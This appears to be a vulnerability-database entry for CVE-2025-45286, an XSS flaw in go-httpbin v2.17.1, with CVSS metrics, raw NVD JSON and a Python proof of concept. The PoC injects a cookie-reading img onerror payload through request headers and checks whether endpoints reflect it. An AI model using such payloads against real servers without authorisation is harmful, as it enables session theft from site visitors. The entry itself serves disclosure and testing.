Security Vulnerability Report
中文
CVE-2025-45286 CVSS 6.1 MEDIUM

CVE-2025-45286

Published: 2026-01-02 15:16:00
Last Modified: 2026-01-07 17:25:42

Description

A cross-site scripting (XSS) vulnerability in mccutchen httpbin v2.17.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:httpbingo:go-httpbin:*:*:*:*:*:go:*:* - VULNERABLE
mccutchen go-httpbin v2.17.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-45286 PoC - XSS in mccutchen go-httpbin v2.17.1 # Target: http://target-server.com (vulnerable go-httpbin instance) # XSS Payload using img onerror handler xss_payload = '<img src=x onerror="alert(document.cookie)">' # Test various endpoints that reflect input endpoints = [ '/anything', '/get', '/headers', '/user-agent', ] for endpoint in endpoints: url = f'http://target-server.com{endpoint}' # Method 1: Inject via User-Agent header headers1 = {'User-Agent': xss_payload} response1 = requests.get(url, headers=headers1) print(f"[*] Testing {endpoint} with User-Agent injection") if xss_payload in response1.text: print(f"[+] VULNERABLE! Payload reflected in response") # Method 2: Inject via custom header headers2 = {'X-Custom-Header': xss_payload} response2 = requests.get(url, headers=headers2) if xss_payload in response2.text: print(f"[+] VULNERABLE! Custom header reflected") print("\n[!] Note: This PoC checks for payload reflection.") print("[!] Actual exploitation requires victim to visit the crafted URL.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-45286", "sourceIdentifier": "[email protected]", "published": "2026-01-02T15:15:59.903", "lastModified": "2026-01-07T17:25:41.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in mccutchen httpbin v2.17.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:httpbingo:go-httpbin:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.18.0", "matchCriteriaId": "14E7DABC-E850-4E6B-908B-AEF899A8D33A"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-528q-4pgm-wvg2", "source": "[email protected]", "tags": ["Third Party Advisory", "Patch"]}, {"url": "https://github.com/mccutchen/go-httpbin/security/advisories/GHSA-528q-4pgm-wvg2", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/mccutchen/go-httpbin/security/advisories/GHSA-528q-4pgm-wvg2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}